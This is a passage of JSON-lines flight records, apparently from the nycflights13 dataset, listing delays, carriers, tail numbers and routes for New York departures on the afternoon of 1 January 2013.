14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1529,"sched_dep_time":1530,"dep_delay":-1,"arr_time":1733,"sched_arr_time":1737,"arr_delay":-4,"carrier":"US","flight":1665,"tailnum":"N738US","origin":"LGA","dest":"CLT","air_time":103,"distance":544,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1530,"sched_dep_time":1530,"dep_delay":0,"arr_time":1650,"sched_arr_time":1655,"arr_delay":-5,"carrier":"9E","flight":3369,"tailnum":"N913XJ","origin":"JFK","dest":"BWI","air_time":40,"distance":184,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1531,"sched_dep_time":1453,"dep_delay":38,"arr_time":1637,"sched_arr_time":1603,"arr_delay":34,"carrier":"EV","flight":4372,"tailnum":"N13975","origin":"EWR","dest":"DCA","air_time":45,"distance":199,"hour":14,"minute":53,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1531,"sched_dep_time":1459,"dep_delay":32,"arr_time":1745,"sched_arr_time":1658,"arr_delay":47,"carrier":"EV","flight":4572,"tailnum":"N15912","origin":"EWR","dest":"GSP","air_time":106,"distance":594,"hour":14,"minute":59,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1531,"sched_dep_time":1520,"dep_delay":11,"arr_time":1809,"sched_arr_time":1750,"arr_delay":19,"carrier":"UA","flight":365,"tailnum":"N514UA","origin":"EWR","dest":"DEN","air_time":247,"distance":1605,"hour":15,"minute":20,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1534,"sched_dep_time":1530,"dep_delay":4,"arr_time":1755,"sched_arr_time":1735,"arr_delay":20,"carrier":"EV","flight":4093,"tailnum":"N17115","origin":"EWR","dest":"GRR","air_time":120,"distance":605,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1536,"sched_dep_time":1520,"dep_delay":16,"arr_time":1709,"sched_arr_time":1650,"arr_delay":19,"carrier":"WN","flight":2081,"tailnum":"N226WN","origin":"LGA","dest":"MKE","air_time":133,"distance":738,"hour":15,"minute":20,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1538,"sched_dep_time":1540,"dep_delay":-2,"arr_time":1827,"sched_arr_time":1851,"arr_delay":-24,"carrier":"DL","flight":4,"tailnum":"N372DA","origin":"JFK","dest":"MCO","air_time":133,"distance":944,"hour":15,"minute":40,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1539,"sched_dep_time":1530,"dep_delay":9,"arr_time":1904,"sched_arr_time":1910,"arr_delay":-6,"carrier":"AA","flight":85,"tailnum":"N342AA","origin":"JFK","dest":"SFO","air_time":360,"distance":2586,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1539,"sched_dep_time":1545,"dep_delay":-6,"arr_time":1853,"sched_arr_time":1910,"arr_delay":-17,"carrier":"AA","flight":133,"tailnum":"N319AA","origin":"JFK","dest":"LAX","air_time":351,"distance":2475,"hour":15,"minute":45,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1539,"sched_dep_time":1537,"dep_delay":2,"arr_time":1854,"sched_arr_time":1819,"arr_delay":35,"carrier":"UA","flight":1222,"tailnum":"N14250","origin":"EWR","dest":"LAS","air_time":342,"distance":2227,"hour":15,"minute":37,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1540,"sched_dep_time":1338,"dep_delay":122,"arr_time":2020,"sched_arr_time":1825,"arr_delay":115,"carrier":"B6","flight":705,"tailnum":"N570JB","origin":"JFK","dest":"SJU","air_time":193,"distance":1598,"hour":13,"minute":38,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1542,"sched_dep_time":1545,"dep_delay":-3,"arr_time":1852,"sched_arr_time":1913,"arr_delay":-21,"carrier":"DL","flight":1283,"tailnum":"N3750D","origin":"JFK","dest":"SAN","air_time":342,"distance":2446,"hour":15,"minute":45,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1543,"sched_dep_time":1550,"dep_delay":-7,"arr_time":1933,"sched_arr_time":1925,"arr_delay":8,"carrier":"DL","flight":1773,"tailnum":"N688DL","origin":"JFK","dest":"SLC","air_time":320,"distance":1990,"hour":15,"minute":50,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1543,"sched_dep_time":1543,"dep_delay":0,"arr_time":1731,"sched_arr_time":1733,"arr_delay":-2,"carrier":"UA","flight":636,"tailnum":"N413UA","origin":"LGA","dest":"CLE","air_time":88,"distance":419,"hour":15,"minute":43,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1546,"sched_dep_time":1540,"dep_delay":6,"arr_time":1753,"sched_arr_time":1748,"arr_delay":5,"carrier":"9E","flight":3338,"tailnum":"N904XJ","origin":"JFK","dest":"ORD","air_time":146,"distance":740,"hour":15,"minute":40,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1547,"sched_dep_time":1545,"dep_delay":2,"arr_time":1823,"sched_arr_time":1815,"arr_delay":8,"carrier":"DL","flight":1942,"tailnum":"N994DL","origin":"EWR","dest":"ATL","air_time":129,"distance":746,"hour":15,"minute":45,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1548,"sched_dep_time":1420,"dep_delay":88,"arr_time":1751,"sched_arr_time":1620,"arr_delay":91,"carrier":"MQ","flight":4588,"tailnum":"N6EAMQ","origin":"LGA","dest":"MSP","air_time":167,"distance":1020,"hour":14,"minute":20,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1549,"sched_dep_time":1445,"dep_delay":64,"arr_time":1912,"sched_arr_time":1656,"arr_delay":136,"carrier":"EV","flight":4181,"tailnum":"N21197","origin":"EWR","dest":"MCI","air_time":234,"distance":1092,"hour":14,"minute":45,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1549,"sched_dep_time":1548,"dep_delay":1,"arr_time":1851,"sched_arr_time":1859,"arr_delay":-8,"carrier":"UA","flight":80,"tailnum":"N54241","origin":"EWR","dest":"MIA","air_time":156,"distance":1085,"hour":15,"minute":48,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1550,"sched_dep_time":1550,"dep_delay":0,"arr_time":1844,"sched_arr_time":1831,"arr_delay":13,"carrier":"9E","flight":3372,"tailnum":"N934XJ","origin":"JFK","dest":"IND","air_time":139,"distance":665,"hour":15,"minute":50,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1552,"sched_dep_time":1600,"dep_delay":-8,"arr_time":1732,"sched_arr_time":1720,"arr_delay":12,"carrier":"EV","flight":5709,"tailnum":"N825AS","origin":"LGA","dest":"IAD","air_time":55,"distance":229,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1552,"sched_dep_time":1600,"dep_delay":-8,"arr_time":1826,"sched_arr_time":1820,"arr_delay":6,"carrier":"FL","flight":620,"tailnum":"N997AT","origin":"LGA","dest":"ATL","air_time":132,"distance":762,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1552,"sched_dep_time":1600,"dep_delay":-8,"arr_time":1749,"sched_arr_time":1757,"arr_delay":-8,"carrier":"9E","flight":3459,"tailnum":"N910XJ","origin":"JFK","dest":"BNA","air_time":150,"distance":765,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1552,"sched_dep_time":1600,"dep_delay":-8,"arr_time":1933,"sched_arr_time":1915,"arr_delay":18,"carrier":"AA","flight":565,"tailnum":"N3CGAA","origin":"JFK","dest":"DFW","air_time":254,"distance":1391,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1554,"sched_dep_time":1600,"dep_delay":-6,"arr_time":1701,"sched_arr_time":1734,"arr_delay":-33,"carrier":"9E","flight":3331,"tailnum":"N931XJ","origin":"JFK","dest":"BOS","air_time":41,"distance":187,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1554,"sched_dep_time":1559,"dep_delay":-5,"arr_time":1857,"sched_arr_time":1841,"arr_delay":16,"carrier":"DL","flight":847,"tailnum":"N918DE","origin":"LGA","dest":"ATL","air_time":131,"distance":762,"hour":15,"minute":59,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1554,"sched_dep_time":1600,"dep_delay":-6,"arr_time":1830,"sched_arr_time":1820,"arr_delay":10,"carrier":"MQ","flight":3985,"tailnum":"N606MQ","origin":"JFK","dest":"CVG","air_time":118,"distance":589,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1556,"sched_dep_time":1600,"dep_delay":-4,"arr_time":1737,"sched_arr_time":1739,"arr_delay":-2,"carrier":"EV","flight":5163,"tailnum":"N761ND","origin":"LGA","dest":"PIT","air_time":69,"distance":335,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1557,"sched_dep_time":1600,"dep_delay":-3,"arr_time":1910,"sched_arr_time":1939,"arr_delay":-29,"carrier":"DL","flight":1508,"tailnum":"N955DL","origin":"JFK","dest":"RSW","air_time":171,"distance":1074,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1557,"sched_dep_time":1600,"dep_delay":-3,"arr_time":1746,"sched_arr_time":1742,"arr_delay":4,"carrier":"UA","flight":687,"tailnum":"N487UA","origin":"LGA","dest":"ORD","air_time":143,"distance":733,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1558,"sched_dep_time":1534,"dep_delay":24,"arr_time":1808,"sched_arr_time":1703,"arr_delay":65,"carrier":"EV","flight":4502,"tailnum":"N16546","origin":"EWR","dest":"BNA","air_time":168,"distance":748,"hour":15,"minute":34,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1558,"sched_dep_time":1359,"dep_delay":119,"arr_time":1718,"sched_arr_time":1515,"arr_delay":123,"carrier":"EV","flight":5712,"tailnum":"N826AS","origin":"JFK","dest":"IAD","air_time":53,"distance":228,"hour":13,"minute":59,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1558,"sched_dep_time":1600,"dep_delay":-2,"arr_time":1910,"sched_arr_time":1903,"arr_delay":7,"carrier":"B6","flight":509,"tailnum":"N708JB","origin":"EWR","dest":"FLL","air_time":166,"distance":1065,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1559,"sched_dep_time":1605,"dep_delay":-6,"arr_time":1844,"sched_arr_time":1912,"arr_delay":-28,"carrier":"DL","flight":91,"tailnum":"N374DA","origin":"JFK","dest":"LAS","air_time":309,"distance":2248,"hour":16,"minute":5,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1600,"sched_dep_time":1610,"dep_delay":-10,"arr_time":1712,"sched_arr_time":1729,"arr_delay":-17,"carrier":"9E","flight":4088,"tailnum":"N8968E","origin":"JFK","dest":"PHL","air_time":35,"distance":94,"hour":16,"minute":10,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1601,"sched_dep_time":1601,"dep_delay":0,"arr_time":1750,"sched_arr_time":1735,"arr_delay":15,"carrier":"UA","flight":702,"tailnum":"N484UA","origin":"EWR","dest":"ORD","air_time":141,"distance":719,"hour":16,"minute":1,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1602,"sched_dep_time":1605,"dep_delay":-3,"arr_time":1834,"sched_arr_time":1838,"arr_delay":-4,"carrier":"DL","flight":1861,"tailnum":"N301NB","origin":"LGA","dest":"MCI","air_time":189,"distance":1107,"hour":16,"minute":5,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1603,"sched_dep_time":1547,"dep_delay":16,"arr_time":1720,"sched_arr_time":1708,"arr_delay":12,"carrier":"EV","flight":3272,"tailnum":"N14168","origin":"EWR","dest":"BUF","air_time":58,"distance":282,"hour":15,"minute":47,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1603,"sched_dep_time":1550,"dep_delay":13,"arr_time":1751,"sched_arr_time":1739,"arr_delay":12,"carrier":"B6","flight":917,"tailnum":"N316JB","origin":"JFK","dest":"ORD","air_time":150,"distance":740,"hour":15,"minute":50,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1603,"sched_dep_time":1600,"dep_delay":3,"arr_time":1839,"sched_arr_time":1830,"arr_delay":9,"carrier":"WN","flight":591,"tailnum":"N965WN","origin":"EWR","dest":"DEN","air_time":254,"distance":1605,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1603,"sched_dep_time":1605,"dep_delay":-2,"arr_time":1818,"sched_arr_time":1750,"arr_delay":28,"carrier":"MQ","flight":4415,"tailnum":"N730MQ","origin":"LGA","dest":"RDU","air_time":79,"distance":431,"hour":16,"minute":5,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1603,"sched_dep_time":1600,"dep_delay":3,"arr_time":1912,"sched_arr_time":1906,"arr_delay":6,"carrier":"UA","flight":367,"tailnum":"N820UA","origin":"EWR","dest":"FLL","air_time":162,"distance":1065,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1604,"sched_dep_time":1510,"dep_delay":54,"arr_time":1817,"sched_arr_time":1710,"arr_delay":67,"carrier":"MQ","flight":4579,"tailnum":"N0EGMQ","origin":"LGA","dest":"CLT","air_time":106,"distance":544,"hour":15,"minute":10,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1605,"sched_dep_time":1610,"dep_delay":-5,"arr_time":1804,"sched_arr_time":1800,"arr_delay":4,"carrier":"AA","flight":341,"tailnum":"N569AA","origin":"LGA","dest":"ORD","air_time":146,"distance":733,"hour":16,"minute":10,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1607,"sched_dep_time":1555,"dep_delay":12,"arr_time":1735,"sched_arr_time":1715,"arr_delay":20,"carrier":"B6","flight":12,"tailnum":"N184JB","origin":"JFK","dest":"SYR","air_time":58,"distance":209,"hour":15,"minute":55,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1607,"sched_dep_time":1443,"dep_delay":84,"arr_time":1711,"sched_arr_time":1553,"arr_delay":78,"carrier":"UA","flight":465,"tailnum":"N435UA","origin":"EWR","dest":"BOS","air_time":35,"distance":200,"hour":14,"minute":43,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1608,"sched_dep_time":1535,"dep_delay":33,"arr_time":2002,"sched_arr_time":1850,"arr_delay":72,"carrier":"AA","flight":763,"tailnum":"N3GKAA","origin":"LGA","dest":"DFW","air_time":249,"distance":1389,"hour":15,"minute":35,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1608,"sched_dep_time":1600,"dep_delay":8,"arr_time":1953,"sched_arr_time":1925,"arr_delay":28,"carrier":"AA","flight":1467,"tailnum":"N3DYAA","origin":"LGA","dest":"MIA","air_time":171,"distance":1096,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1608,"sched_dep_time":1609,"dep_delay":-1,"arr_time":1847,"sched_arr_time":1910,"arr_delay":-23,"carrier":"B6","flight":157,"tailnum":"N712JB","origin":"JFK","dest":"MCO","air_time":137,"distance":944,"hour":16,"minute":9,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1610,"sched_dep_time":1615,"dep_delay":-5,"arr_time":1913,"sched_arr_time":1948,"arr_delay":-35,"carrier":"DL","flight":1411,"tailnum":"N947DL","origin":"JFK","dest":"FLL","air_time":155,"distance":1069,"hour":16,"minute":15,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1610,"sched_dep_time":1615,"dep_delay":-5,"arr_time":1827,"sched_arr_time":1830,"arr_delay":-3,"carrier":"DL","flight":1619,"tailnum":"N360NB","origin":"LGA","dest":"MSP","air_time":168,"distance":1020,"hour":16,"minute":15,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1610,"sched_dep_time":1555,"dep_delay":15,"arr_time":1852,"sched_arr_time":1834,"arr_delay":18,"carrier":"DL","flight":1939,"tailnum":"N362NW","origin":"LGA","dest":"DEN","air_time":235,"distance":1620,"hour":15,"minute":55,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1611,"sched_dep_time":1601,"dep_delay":10,"arr_time":2010,"sched_arr_time":1941,"arr_delay":29,"carrier":"UA","flight":1635,"tailnum":"N76504","origin":"EWR","dest":"PHX","air_time":328,"distance":2133,"hour":16,"minute":1,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1615,"sched_dep_time":1602,"dep_delay":13,"arr_time":1748,"sched_arr_time":1728,"arr_delay":20,"carrier":"EV","flight":4406,"tailnum":"N36915","origin":"EWR","dest":"PIT","air_time":73,"distance":319,"hour":16,"minute":2,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1619,"sched_dep_time":1625,"dep_delay":-6,"arr_time":1912,"sched_arr_time":1855,"arr_delay":17,"carrier":"MQ","flight":4661,"tailnum":"N537MQ","origin":"LGA","dest":"ATL","air_time":136,"distance":762,"hour":16,"minute":25,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1620,"sched_dep_time":1620,"dep_delay":0,"arr_time":1945,"sched_arr_time":1922,"arr_delay":23,"carrier":"UA","flight":1178,"tailnum":"N18119","origin":"EWR","dest":"IAH","air_time":242,"distance":1400,"hour":16,"minute":20,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1621,"sched_dep_time":1548,"dep_delay":33,"arr_time":1904,"sched_arr_time":1830,"arr_delay":34,"carrier":"DL","flight":95,"tailnum":"N704X","origin":"JFK","dest":"ATL","air_time":130,"distance":760,"hour":15,"minute":48,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1623,"sched_dep_time":1620,"dep_delay":3,"arr_time":2002,"sched_arr_time":1959,"arr_delay":3,"carrier":"US","flight":35,"tailnum":"N550UW","origin":"JFK","dest":"PHX","air_time":317,"distance":2153,"hour":16,"minute":20,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1625,"sched_dep_time":1550,"dep_delay":35,"arr_time":2054,"sched_arr_time":2050,"arr_delay":4,"carrier":"AA","flight":1635,"tailnum":"N630AA","origin":"JFK","dest":"SJU","air_time":188,"distance":1598,"hour":15,"minute":50,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1626,"sched_dep_time":1630,"dep_delay":-4,"arr_time":2007,"sched_arr_time":1952,"arr_delay":15,"carrier":"B6","flight":675,"tailnum":"N804JB","origin":"JFK","dest":"LAX","air_time":370,"distance":2475,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1626,"sched_dep_time":1630,"dep_delay":-4,"arr_time":1855,"sched_arr_time":1853,"arr_delay":2,"carrier":"DL","flight":702,"tailnum":"N361NW","origin":"JFK","dest":"DTW","air_time":108,"distance":509,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1627,"sched_dep_time":1459,"dep_delay":88,"arr_time":1925,"sched_arr_time":1805,"arr_delay":80,"carrier":"B6","flight":63,"tailnum":"N599JB","origin":"JFK","dest":"TPA","air_time":159,"distance":1005,"hour":14,"minute":59,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1627,"sched_dep_time":1630,"dep_delay":-3,"arr_time":1940,"sched_arr_time":2020,"arr_delay":-40,"carrier":"VX","flight":27,"tailnum":"N847VA","origin":"JFK","dest":"SFO","air_time":354,"distance":2586,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1628,"sched_dep_time":1524,"dep_delay":64,"arr_time":1740,"sched_arr_time":1641,"arr_delay":59,"carrier":"EV","flight":4133,"tailnum":"N14959","origin":"EWR","dest":"IAD","air_time":53,"distance":212,"hour":15,"minute":24,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1628,"sched_dep_time":1630,"dep_delay":-2,"arr_time":1907,"sched_arr_time":1923,"arr_delay":-16,"carrier":"DL","flight":920,"tailnum":"N331NW","origin":"JFK","dest":"DEN","air_time":248,"distance":1626,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1630,"sched_dep_time":1548,"dep_delay":42,"arr_time":1902,"sched_arr_time":1755,"arr_delay":67,"carrier":"EV","flight":4352,"tailnum":"N22909","origin":"EWR","dest":"CVG","air_time":121,"distance":569,"hour":15,"minute":48,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1630,"sched_dep_time":1636,"dep_delay":-6,"arr_time":1913,"sched_arr_time":1943,"arr_delay":-30,"carrier":"B6","flight":143,"tailnum":"N534JB","origin":"JFK","dest":"PBI","air_time":147,"distance":1028,"hour":16,"minute":36,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1631,"sched_dep_time":1617,"dep_delay":14,"arr_time":1740,"sched_arr_time":1727,"arr_delay":13,"carrier":"EV","flight":4299,"tailnum":"N14972","origin":"EWR","dest":"DCA","air_time":48,"distance":199,"hour":16,"minute":17,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1631,"sched_dep_time":1635,"dep_delay":-4,"arr_time":1956,"sched_arr_time":2000,"arr_delay":-4,"carrier":"US","flight":656,"tailnum":"N649AW","origin":"EWR","dest":"PHX","air_time":309,"distance":2133,"hour":16,"minute":35,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1631,"sched_dep_time":1630,"dep_delay":1,"arr_time":1935,"sched_arr_time":1950,"arr_delay":-15,"carrier":"UA","flight":1726,"tailnum":"N75425","origin":"EWR","dest":"SAN","air_time":346,"distance":2425,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1632,"sched_dep_time":1635,"dep_delay":-3,"arr_time":1903,"sched_arr_time":1840,"arr_delay":23,"carrier":"WN","flight":190,"tailnum":"N258WN","origin":"LGA","dest":"STL","air_time":181,"distance":888,"hour":16,"minute":35,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1632,"sched_dep_time":1635,"dep_delay":-3,"arr_time":1824,"sched_arr_time":1810,"arr_delay":14,"carrier":"MQ","flight":3695,"tailnum":"N507MQ","origin":"EWR","dest":"ORD","air_time":139,"distance":719,"hour":16,"minute":35,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1634,"sched_dep_time":1626,"dep_delay":8,"arr_time":1913,"sched_arr_time":1852,"arr_delay":21,"carrier":"UA","flight":69,"tailnum":"N27213","origin":"EWR","dest":"DEN","air_time":247,"distance":1605,"hour":16,"minute":26,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1635,"sched_dep_time":1630,"dep_delay":5,"arr_time":1830,"sched_arr_time":1810,"arr_delay":20,"carrier":"UA","flight":162,"tailnum":"N16701","origin":"EWR","dest":"CLE","air_time":84,"distance":404,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1636,"sched_dep_time":1639,"dep_delay":-3,"arr_time":1747,"sched_arr_time":1755,"arr_delay":-8,"carrier":"B6","flight":1176,"tailnum":"N190JB","origin":"EWR","dest":"BOS","air_time":42,"distance":200,"hour":16,"minute":39,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1637,"sched_dep_time":1545,"dep_delay":52,"arr_time":1858,"sched_arr_time":1819,"arr_delay":39,"carrier":"9E","flight":3321,"tailnum":"N604LR","origin":"JFK","dest":"MSP","air_time":173,"distance":1029,"hour":15,"minute":45,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1639,"sched_dep_time":1517,"dep_delay":82,"arr_time":1815,"sched_arr_time":1639,"arr_delay":96,"carrier":"EV","flight":4580,"tailnum":"N16561","origin":"EWR","dest":"MKE","air_time":140,"distance":725,"hour":15,"minute":17,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1640,"sched_dep_time":1640,"dep_delay":0,"arr_time":1859,"sched_arr_time":1850,"arr_delay":9,"carrier":"MQ","flight":4540,"tailnum":"N723MQ","origin":"LGA","dest":"DTW","air_time":106,"distance":502,"hour":16,"minute":40,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1641,"sched_dep_time":1650,"dep_delay":-9,"arr_time":1746,"sched_arr_time":1820,"arr_delay":-34,"carrier":"AA","flight":1790,"tailnum":"N3BYAA","origin":"JFK","dest":"BOS","air_time":41,"distance":187,"hour":16,"minute":50,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1642,"sched_dep_time":1610,"dep_delay":32,"arr_time":1944,"sched_arr_time":1919,"arr_delay":25,"carrier":"UA","flight":1587,"tailnum":"N17229","origin":"EWR","dest":"RSW","air_time":161,"distance":1068,"hour":16,"minute":10,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1645,"sched_dep_time":1639,"dep_delay":6,"arr_time":1832,"sched_arr_time":1816,"arr_delay":16,"carrier":"EV","flight":4336,"tailnum":"N13538","origin":"EWR","dest":"GSO","air_time":89,"distance":445,"hour":16,"minute":39,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1649,"sched_dep_time":1639,"dep_delay":10,"arr_time":1937,"sched_arr_time":1911,"arr_delay":26,"carrier":"EV","flight":4705,"tailnum":"N14960","origin":"EWR","dest":"ATL","air_time":139,"distance":746,"hour":16,"minute":39,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1650,"sched_dep_time":1615,"dep_delay":35,"arr_time":2009,"sched_arr_time":1913,"arr_delay":56,"carrier":"B6","flight":985,"tailnum":"N564JB","origin":"LGA","dest":"TPA","air_time":162,"distance":1010,"hour":16,"minute":15,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1651,"sched_dep_time":1650,"dep_delay":1,"arr_time":2000,"sched_arr_time":2004,"arr_delay":-4,"carrier":"B6","flight":185,"tailnum":"N665JB","origin":"JFK","dest":"SAN","air_time":349,"distance":2446,"hour":16,"minute":50,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1652,"sched_dep_time":1640,"dep_delay":12,"arr_time":2030,"sched_arr_time":1955,"arr_delay":35,"carrier":"AA","flight":773,"tailnum":"N565AA","origin":"LGA","dest":"DFW","air_time":252,"distance":1389,"hour":16,"minute":40,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1653,"sched_dep_time":1700,"dep_delay":-7,"arr_time":2005,"sched_arr_time":2018,"arr_delay":-13,"carrier":"DL","flight":1807,"tailnum":"N980DL","origin":"LGA","dest":"FLL","air_time":158,"distance":1076,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1654,"sched_dep_time":1644,"dep_delay":10,"arr_time":1752,"sched_arr_time":1753,"arr_delay":-1,"carrier":"EV","flight":4539,"tailnum":"N27962","origin":"EWR","dest":"MHT","air_time":38,"distance":209,"hour":16,"minute":44,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1654,"sched_dep_time":1700,"dep_delay":-6,"arr_time":2020,"sched_arr_time":2034,"arr_delay":-14,"carrier":"DL","flight":706,"tailnum":"N320NB","origin":"JFK","dest":"AUS","air_time":251,"distance":1521,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} 